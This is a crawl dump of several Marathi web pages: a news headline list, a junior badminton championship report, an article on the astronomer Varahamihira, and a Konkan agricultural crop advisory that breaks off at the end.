फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nगुंडांसोबत डान्स भोवला, पोलीस काॅन्स्टेबल निलंबित\nपोलीस कर्मचाऱ्याला चिरडून फरार होणाऱ्या चालकाला अटक\nमुलीच्या वाढदिवसा दिवशी वडिलांचा अपघाती मृत्यू\nपुणे : 96 लाख लुटणाऱ्या 'वर्दी'तल्या चोरांना ३ वर्षांची सक्तमजुरी\nपोलीस स्थानकाबाहेरच रॉड खुपसून सह-पोलीस उपनिरीक्षकाची केली हत्या\nमानसिक तणावामुळे पोलिसाची आत्महत्या, स्वत:वरच झाडल्या गोळ्या\nगो हत्या करून काढला पळ, पोलीस आडवे येताच त्यांनाही उडवलं\nVIDEO :हिना गावित यांच्यावर हल्ल्याबद्दल मराठा आंदोलक म्हणतात...\nमाझ्यावर हल्ला करणाऱ्यांवर अॅट्रॉसिटी दाखल करा -हिना गावित\nराज्यात झालेल्या हिंसाचाराचा क्रांती मोर्च्याशी संबंध नाही, मराठा क्रांती मोर्चाचा निर्णय\nचाकण हिंसेप्रकरणी एका रात्रीत 20 जण घेतले ताब्यात\nचाकणच्या हिंसेत पोलीस कर्मचाऱ्याला जबर मारहाण, प्रकृती धोक्याबाहेर\nमराठा आरक्षण : परभणीत आंदोलन पेटलं, पोलिसांचा हवेत गोळीबार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00327.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/sports-news/other-sports/varun-jhanvi-win-the-title/articleshow/65758657.cms", "date_download": "2018-09-25T18:10:12Z", "digest": "sha1:6GXCEJX22ZVUKS4WLWN6HK4FEW6AZ4C2", "length": 12263, "nlines": 138, "source_domain": "maharashtratimes.indiatimes.com", "title": "other sports News: varun, jhanvi win the title - वरुण, जान्हवी यांना विजेतेपद | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nवरुण, जान्हवी यांना विजेतेपद\nम. टा. प्रतिनिधी, पुणे\nपुण्याच्या वरुण कपूर याने ज्युनियर गटाच्या राज्य बॅडमिंटन स्पर्धेतील १७ वर्षांखालील मुलांत, तर जान्हवी कानिटकरने १७ वर्षांखालील मुलींत विजेतेपद पटकावले; तसेच पुण्याच्या तनिष्का देशपांडेने मुंबई उपनगरच्या जान्हवी जगतापच्या साथीत १७ वर्षांखालील मुलींच्या दुहेरीचे जेतेपद मिळविले.\nठाण्यात नुकतीच ही स्पर्धा झाली. १७ वर्षांखालील मुलींच्या एकेरीतील अंतिम लढतीत अव्वल मानांकित जान्हवी कानिटकरने साताऱ्याच्या आर्या देशपांडेवर २१-११, २१-१२ अशी मात केली आणि जेतेपद पटकावले. तत्पूर्वी, उपांत्य फेरीत जान्हवीने पुण्याच्याच रिया कुंजीरवर २१-११, २१-१४ अशी, तर आर्याने द्वितीय मानांकित रूद्रा राणेवर २५-२३, २१-१६ अशी मात केली होती.\nस्पर्धेतील १७ वर्षांखालील मुलांच्या एकेरीतील अंतिम लढतीत द्वितीय मानांकित वरुण कपूरने ठाण्याच्या राहुल काणेने १७-२१, २१-१६, २१-१० अशी मात केली. तत्पूर्वी, उपांत्य फेरीत राहुलने पुण्याच्या पार्थ घुबेवर २१-१२, २२-२० अशी, तर वरुणने ठाण्याच्या रोहन थूळवर २१-१५, २१-११ अशी मात केली होती. १९ वर्षांखालील मुलांत वरुण कपूरला उपविजेतेपदावर समाधान मानावे लागले. अंतिम लढतीत पालघरच्या सिद्धेश हुडेकरने वरुणवर १६-२१, २१-१५, २१-१८ अशी मात केली.\nसतरा वर्षांखालील मुलींच्या दुहेरीच्या अंतिम लढतीत तनिष्का देशपांडे-जानव्ही जगताप यांनी रिया हब्बू-ऋचा सावंत यांच्यावर २१-१५, २१-१२ अशी मात केली आणि जेतेपद पटकावले. तत्पूर्वी, उपांत्य फेरीत जान्हवी-तनिष्का यांनी रिया कुंजीर-सिद्धी जाधव या अव्वल मानांकितांवर २१-१३, २१-१२ असा, तर ऋचा-रिया यांनी मिहीका थत्ते-तरल आखेगावकर यांच्यावर २१-१०, २१-८ असा विजय नोंदविला होता.\nस्पर्धेतील १९ वर्षांखालील मुलींत मृण्मयी देशपांडेने विजेतेपद पटकावले. अंतिम लढतीत तिने रूद्रा राणेवर २१-१३, २१-१० अशी मात केली. तत्पूर्वी, उपांत्य फेरीत मृण्मयीने पुण्याच्या अनन्या फडकेवर २१-११, २१-१४ असा, तर रूद्राने खुशीकुमारीवर २५-२३, २१-१९ असा विजय नोंदविला होता.\nमिळवा अन्य खेळ बातम्या(other sports News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nother sports News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nअन्य खेळ याा सुपरहिट\nबजरंगने सरकारविरुद्ध शड्डू ठोकला\nAsian Games: मर्जीतल्या खेळाडूसाठी 'सुवर्ण' विजेत्यास डावलले...\nBajrang Punia: विराट, मिराबाईपेक्षा बजरंगचे गुण अधिक\n'अर्जुन पुरस्कारा'मुळं बळ मिळालं: राही सरनोबत\nमेरीने घटवले चार तासांत वजन\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1वरुण, जान्हवी यांना विजेतेपद...\n3स्पीड न्यूज - दुसरा टप्पा...\n4इंग्लंड दौऱ्यांविषयी शास्त्रींशी होणार चर्चा...\n6इंग्लंड दौऱ्यांविषयी शास्त्रींशी होणार चर्चा...\n7पुणे शहर संघ अंतिम फेरीत...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00328.warc.wet.gz", "language": "mr", "language_score": 0.87, "bucket": "all"} {"url": "http://avakashvedh.com/khagolshastradnya/varaahmihir.html", "date_download": "2018-09-25T17:48:11Z", "digest": "sha1:O6ZHLOLMA6FVOOAS246MG7YDJR63EUV6", "length": 20707, "nlines": 134, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nपहिल्या आर्यभटानंतर एक थोर खगोल शास्त्रज्ञ भारतात होऊन गेला. वराहमिहीरचा जन्म शके ४१२ ( इ. स. ४९० ) मध्ये झाला असावा. वराहमिहीर अवंती येथे वास्तव्य करीत असे. त्याने यवन देशात भ्रमंती करून खगोलशास्त्रविषयक ज्ञान संपादन केले असा एक प्रवाद आहे. परंतु त्यात तथ्य नाही. वराहमिहीराने ज्या विषयांवर लेखन केले आहे ते विषय भारतीय खगोलशास्त्रज्ञांनी पूर्वीही हाताळले आहेत. त्यामुळे वराहमिहीरावरील आरोप टिकण्यासारखा नाही.\nवराहमिहीराने खगोलशास्त्रीय गणितावर 'पंचसिद्धांतिका' हा ग्रंथ लिहिला. त्यात पौलिश, रोमक, वसिष्ठ, सौर पितामह अशा पाच सिद्धान्तांचा अंतर्भाव आहे. हे पाचही सिद्धांत आजच्या सूर्यादी पाच सिद्धान्तांहून भिन्न होते. डॉ. वुलहर यांना काश्मीरमध्ये पंचसिद्धांतिकेच्या दोन प्रती मिळाल्या. त्यावरून ही गोष्ट सिद्ध होते. ह्या प्राचीन सिद्धान्तांपैकी वराहमिहीराच्या काळी पितामहसिद्धांत व वसिष्ठसिद्धांत विचारात घेतले गेले नाहीत. कारण त्यात संदिग्धता फार मोठी होती. रोमक व पौलिश सिद्धांत त्या मानाने बरेच स्पष्ट होते व सूर्यसिद्धांत सर्वात अधिक सुस्पष्ट होता. हे सिद्धांत इ. स. ४०० मध्ये प्रस्थापित झाले असावेत असे डॉ. थिबोंचे मत आहे, परंतु कै. शं. बा. दीक्षित ह्यांना ते शककाल पूर्वीचे वाटतात.\nवराहमिहीराने पितामहसिद्धान्तानुसार अहर्गण नक्षत्र व दिनमान काढण्याच्या रीती सांगितल्या आहेत. पितामहसिद्धान्तातील ग्रहगणिताविषयी वराहमिहीराने काहीच सांगितले नाही. त्यात ग्रहगणित असावे असे ब्रम्हगुप्त म्हणतो. परंतु ते दृक्प्रत्ययी नसल्याने वराहमिहीराने ते दिले नसावे असा एक तर्क आहे. पंचसिद्धान्तीकेतील वसिष्ठसिद्धान्तात रवी व चंद्र ह्यांचाच केवळ विचार केला आहे. तिथी व नक्षत्रे काढण्याची रीती सांगितली आहे. रांश्यशकला ही माने त्यात आहेत आणि छायेचा बराच विचार केला आहे. दिनमानासंबंधीही विचार केलेला आहे. रोमक सिद्धान्तातही केवळ रवी व चंद्र ह्यांचेच गणित आहे. ह्या सिद्धान्ताची मूलतत्त्वे बाहेरून आली असावेत असा तज्ज्ञांना वाटते. इतर सिद्धान्तांप्रमाणे रोमक सिद्धान्तात ४३, २०, ००० वर्षाचे महायुग ही पद्धत नाही. रोमक युग २८५० वर्षाचे आहे. पंचसिद्धान्तीकेतील पॉलिश सिद्धान्तात मंगळादी ग्रहस्थिती सांगितल्या नाहीत, परंतु ग्रहाच्या वक्र, मार्गित्व, उदय व अस्त ह्यांचे विवेचन आहे. पौलिशसिद्धांताचे ३६५ दिवस २५ घटी ३० पळे आहे व त्याच प्रमाणे महायुगातील सायन दिवस १, ५७, ७९, १६, ००० असून राहू-भगण २, ३२, २२८ हून किंचित कमी होतात. दिनमान व रात्रीमान ह्यांच्यातील सारखेपणा, तिथी नक्षत्रांची निश्चिती, ग्रहणे वक्रमार्गित्व ह्यांचाही विचार त्यात केलेला आहे.\nवराहमिहीराने पंचसिद्धान्तीकेत सूर्यसिद्धान्ताला सर्वात अधिक महत्त्व दिले आहे. मूल सूर्यसिद्धान्तात युगपद्धती असून कलियुगाचा प्रारंभ गुरुवारी मध्यरात्री मानला आहे. म्हणजे त्यावेळी रवी-चंद्राचे भोग पूर्ण होते. आपल्या सर्वसामान्य युगपद्धती नुसार कलियुगाचे मान ४, ३२, ००० वर्ष समजतात. द्वापार, त्रेता, कृत, कलियुग ही युगे ह्यांच्या अनुक्रमे दोन, तीन, चारपट आहेत. ह्या चारी युगांना मिळून एक महायुग होते व अशी १००० महायुगे मिळून एक कल्प किंवा ब्रम्हदेवाचा दिवस होतो. कल्पात चौदा मनू होतात. कल्पारंभापासून वर्तमान महायुगारंभापर्यंत सहा मनू व सत्तावीस महायुगे गेली व अठ्ठावीसाव्यातील कृत, त्रेता, द्वापार ही तीन युगे संपून आता कलियुग चालू आहे. प्रत्येक मनू एकाहत्तर महायुगांचा असतो. पंचसिद्धान्तीकेतील भगण आदी संख्या व आजचे वर्षमान एकमेकांशी जुळत नाहीत. सूर्यसिद्धान्ताचा संबंध टोलेमीशी असावा. असे वेबर ह्याला वाटते. परंतु त्याच्या आक्षेपात मुळीच तथ्य नाही ही गोष्ट कै. शं. बा. दीक्षित यांनी साधार सिद्ध केली आहे.\nवराहमिहीराचे 'बृहतजातक' व 'लघुजातक' हे ग्रंथ आजही प्रचारात आहेत. त्यातील फलज्योतिषाचे आकर्षण कायम असल्याने त्याची उपयुक्तता वाढत गेली. वराहमिहीराच्या बृहत्संहिता ग्रंथाचे भाषांतर डॉ. केर्न ह्यांनी इंग्रजीत केले आहे.\nवराहमिहीराच्या संहिताग्रंथावरून त्याच्या वैज्ञानिक प्रतिभेची आणि कल्पकतेची साक्ष पटते. त्याने पदार्थाच्या गुणधर्मांचा विचार केला. सृष्टिचमत्कारांचा अर्थ वास्तव दृष्टिकोनातून लावण्याचा प्रयत्न त्याने केला. पदार्थाचे गुणधर्म व्यावहारिक पद्धतीने कसे उपयोगात आणावेत त्याचे विवेचन त्याने केले.\nवराहमिहीराने म्हटले आहे :\nखेऽय स्कांतांतःस्थो लोह इवावस्थितो वॄत्तः ॥\nपुष्कळशा लोहचुंबकांनी खेचलेला लोखंडाचा गोळा ज्याप्रमाणे ( अधांतरी ) त्याच्या मध्यभागी स्थिर राहतो. त्याचप्रमाणे हा पृथ्वीगोल ( पंचमहाभूतांनी वेढलेला ) तारांगणाच्या पिंजर्‍यात म्हणजे भूगोलात स्थिर आहे.\nवराहमिहीराने बृहदसंहितेत 'केतूचार' नामक अध्यायात वारंवार दिसणार्‍या धूमकेतूंचे आश्चर्यकारक वर्णन केले आहे. त्यात त्यांचे स्वरूप, संख्या, शुभाशुभ फले ह्यांचे विवेचन आहे. आज ज्याप्रमाणे शोधकाच्या नावावरून धूमकेतूस नाव दिले जाते त्याच प्रमाणे उद्यालक, कश्यप, पद्मकेतू अशी ऋषींची नावे वराहमिहीराने या धूमकेतूंना दिलेली आहेत. त्या त्या ऋषींची नावे संबंधीत धूमकेतूंचा शोध लावला म्हणून दिली असावीत व वराहमिहीराने केलेली धूमकेतूची वर्णने अगदी अद्ययावत वाटतात. एका धूमकेतूचे वर्णन करताना तो म्हणतो : चलकेतू प्रथम पश्चिमेस दिसतो. त्याची शिखा दक्षिणेस असते व ती तिकडे एक अंगुल उंच असते. तो जसजसा उत्तरेस जातो तसतसा मोठा दिसतो. सप्तर्षी, ध्रृव आणि अभिजित ह्यांस स्पर्श करून तो मागे फिरतो व आकाशाच्या अर्धाचे आक्रमण करून दिसेनासा होतो. बृहत्संहितेचा टीकाकार भटोत्पल ह्याने केतूचार अध्यायाच्या टीकेत पराशर ऋषींची धूमकेतूंच्या संदर्भातील वर्णने दिली आहेत. काही धूमकेतूंचा कालावधीही स्थूलामानाने दिला आहे. वराहमिहीराने उघड्या डोळ्यांनी सौरडागांचे निरीक्षण केल्याचा उल्लेख बृहत्संहितेत केला आहे.\nवराहमिहीराने पंचसिद्धान्तीकेत काही स्वयंवह यंत्राचे प्रकारही सांगितले आहे. वराहमिहीराच्या वैज्ञानिक प्रतिभेचे दर्शन ह्या उदाहरणात घडते. वराहमिहीराने खगोलशास्त्राची विविध अंगे विकसित करण्याचा प्रयत्न केला. त्याच्या वैज्ञानिक विचारांच्या दिशेने भारतीयांनी वाटचाल केली असती तर भारत विज्ञानाच्या क्षेत्रात पूर्वीच निश्चित आघाडीवर दिसला असता.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00329.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.agrowon.com/agricultural-stories-marathi-agrowon-crop-advice-kokan-8555", "date_download": "2018-09-25T18:00:40Z", "digest": "sha1:YE6ZKO6JNRQJIYM2XJSLZJXAIEEARDTI", "length": 22243, "nlines": 174, "source_domain": "www.agrowon.com", "title": "agricultural stories in marathi, agrowon, crop advice for kokan | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nकृषी सल्ला : भात, भुईमुग, आंबा, भाजीपाला लागवड\nकृषी सल्ला : भात, भुईमुग, आंबा, भाजीपाला लागवड\nगुरुवार, 24 मे 2018\nसध्या रोपवाटिकेसाठी शेतकऱ्यांनी तयारी सुरू केली असेल. भात पेरणीसाठी जमीन नांगरून, त्यातील ढेकळे फोडावीत. प्रति चौरस मीटर एक किलो शेणखत जमिनीत मिसळाले. जमिनीचा उतार लक्षात घेऊन, उंच व पाण्याचा योग्य निचरा होणाऱ्या जागेवर गादीवाफे तयार करावेत. या गादीवाफ्याचा आकार तळाशी १२० सें.मी. रुंद असावा. वाफ्यांना प्रति आर क्षेत्रास १ किलो युरिया व ३ किलो सिंगल सुपर फॉस्फेट द्यावे.\nसध्या रोपवाटिकेसाठी शेतकऱ्यांनी तयारी सुरू केली असेल. भात पेरणीसाठी जमीन नांगरून, त्यातील ढेकळे फोडावीत. प्रति चौरस मीटर एक किलो शेणखत जमिनीत मिसळाले. जमिनीचा उतार लक्षात घेऊन, उंच व पाण्याचा योग्य निचरा होणाऱ्या जागेवर गादीवाफे तयार करावेत. या गादीवाफ्याचा आकार तळाशी १२० सें.मी. रुंद असावा. वाफ्यांना प्रति आर क्षेत्रास १ किलो युरिया व ३ किलो सिंगल सुपर फॉस्फेट द्यावे.\nउन्हाळी भुईमूग सध्या काढणीच्या अवस्थेत आहे. तयार झालेल्या शेंगाची काढणी करून उन्हामध्ये ४ ते ५ दिवस चांगल्या वाळवाव्यात. वाळलेल्या शेंगाची संरक्षित ठिकाणी साठवण करावी.\nबागेमध्ये हवामानानुसार मागे पुढे फळधारणा व फळे काढणीचा हंगाम सुरू आहे.\nआंबा फळावंर फळमाशीचा प्रादुर्भाव होण्याची शक्यता आहे. फळमाशीच्या नियंत्रणासाठी हेक्टरी चार रक्षक सापळे लावावेत.\nमोठ्या आकाराची फळे तयार झाली असून, ती काढणीच्या अवस्थेत आहेत. तयार फळे सकाळी दहाच्या आधी आणि दुपारी चारनंतर झेल्याच्या साह्याने ८० ते ८५ टक्के पक्वतेला काढावीत. काढलेली फळे साका टाळण्यासाठी व उष्णतेपासून बचाव करण्यासाठी सावलीत ठेवावीत.\nकाढणीपश्चात बुरशीजन्य रोगापासून आंबा फळांचे संरक्षण करण्यासाठी काढणीनंतर त्वरित फळे ५२ अंश सेल्सिअस तापमानाच्या पाण्यात १० मिनिट बुडवून काढावीत. नंतर सावलीत वाळवावीत. काढलेली तयार फळे पिकविण्यासाठी ती इथ्रेल ६.५ मि.लि. प्रति १० लिटर पाण्यामध्ये मिसळून तयार केलेल्या द्रावणामध्ये पाच मिनिटे बुडवून नंतर सावलीत वाळवावीत. विद्यापीठाने शिफारस केलेल्या कोरूगेटेड फायबर बॉक्समध्ये आंब्यांची पॅकिंग करावी. शक्यता आंब्याची वाहतूक रात्रीच्या वेळी करावी. फळे काढणीच्या किमान ८ दिवस आधी झाडावर कोणतीही फवारणी करू नये.\nपावसाळ्याच्या सुरवातीला आंबा आणि काजू झाडांना खोडकिडीचा प्रादुर्भाव होण्याची शक्यता असते. यासाठी बागेमध्ये प्रकाश सापळ्याचा वापर करून, जमा झालेल्या कीटकांचा कीटकनाशक मिश्रित पाण्यामध्ये बुडवून नाश करावा. खोडकिडीचा प्रादुर्भाव बागेत ज्या ठिकाणी दिसून दिसून येत असेल, तेथील साल १५ मि.मी. पटाशीसच्या साह्याने काढून, आतील खोडकीड मारून टाकावी. नंतर हा भाग क्लोरपायरिफॉस (२० टक्के प्रवाही) ५ मि.लि. प्रति लिटर या प्रमाणे तयार केलेल्या द्रावणाने चांगला भिजवावा. खोडकिडीने तयार केलेल्या छिद्रामध्ये क्लोरपायरिफॉस (२० टक्के प्रवाही) १० मि.लि अधिक रॉकेल ५० मि.लि.मध्ये ओतावे.\nकाजू बी तयार झालेली असल्यास तिची काढणी करून उन्हामध्ये वाळवावी.\nनवीन फळबाग लागवड करण्यासाठी फळपिकांच्या शिफारस अंतरानुसार खड्डे खोदून तयार करावेत.\n- सरासरी तापमानामध्ये वाढ झाल्यामुळे नारळाच्या बागेला ५ ते ६ दिवसांनी व सुपारी बागेला ४ ते ५ दिवसांच्या अंतराने पाणी द्यावे.\nनारळावरील गेंडा भुंदा या किडीच्या नियंत्रणासाठी बागेतील शेणखताच्या खड्ड्यामध्ये दर दोन महिन्याने मिथिल पॅराथिऑन (२ टक्के भुकटी) मिसळावी.\nनारळावरील सोंड्या भुंगा या किडीच्या नियंत्रणासाठी खोडावर एकम मीटर उंचीवर गिरमिटाच्या साह्याने १५ ते २० सें.मी. खोल तिरपे छिद्र पाडावे. त्यामध्ये क्लोरपायरिफॉस (२० टक्के प्रवाही) नरसाळ्याच्या साह्याने ओतावे. ते छिद्र सिमेंटच्या राह्याने बंद करावे.\nसुपारीवरील कोळे रोग हा बुरशीजन्य रोग असून, त्याच्या नियंत्रणासाठी पावसाला सुरू होण्यापूर्वी झाडावरील वाळलेल्या झावळ्या, शिंपुटे काढून टाकाव्यात. पानाच्या बेचक्यात बोर्डो मिश्रण (१ टक्का) फवारावे.\nकोळेरोगाच्या यशस्वी नियंत्रणासाठी फोसेटिल एएल (८० टक्के पाण्यात मिसळणारी भुकटी) ३ ग्रॅम प्रति लिटर पाणी या तयार केलेले द्रावण सुपारी झाडांना मुळावाटे पाच हप्त्यांत द्यावे. त्यासाठी सुपारी झाडाची अन्न घेणारी दोन मुळे निवडून, त्याची टोके कापून घ्यावीत. वरील द्रावण प्रत्येकी १०० मि.लि. दोन प्लॅस्टिक पिशव्यामध्ये भरून त्यात कापलेली मुळे बुडवून पिशव्या मुळांचा बांधून ठेवाव्यात. हे बुरशीनाशक पावसाळा सुरू होण्यापूर्वी द्यावे.\nवांगी, टोमॅटो, मिरची व नवलकोल अशा भाजीपाला पिकामध्ये भुरी रोगाचा प्रादुर्भाव होऊ शकतो. त्याच्या नियंत्रणासाठी फवारणी प्रति लिटर पाणी\nहेक्साकोनॅझोल (५ टक्के) ५ मि.लि. किंवा\nगंधक (८० टक्के पाण्यात मिसळणारी भुकटी) २ ग्रॅम\nवेलवर्गीय भाजीपाला पिकामध्ये फळमाशीच्या नियंत्रणासाठी प्रति हेक्टर ४ रक्षक सापळे लावावेत.\nडॉ. विजय मोरे, ०२३५८- २८२३८७, ९४२२३७४००१\n(कृषी हवामान तज्ज्ञ, कृषी विद्या विभाग, डॉ. बाळासाहेब सावंत कोकण कृषी विद्यापीठ, दापोली.)\nसिंगल सुपर फॉस्फेट single super phosphate भुईमूग groundnut हवामान सकाळ कीटकनाशक रॉ रॉकेल फळबाग horticulture खड्डे नारळ काव्य विजय victory विभाग sections कोकण कृषी विद्यापीठ agriculture university\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा 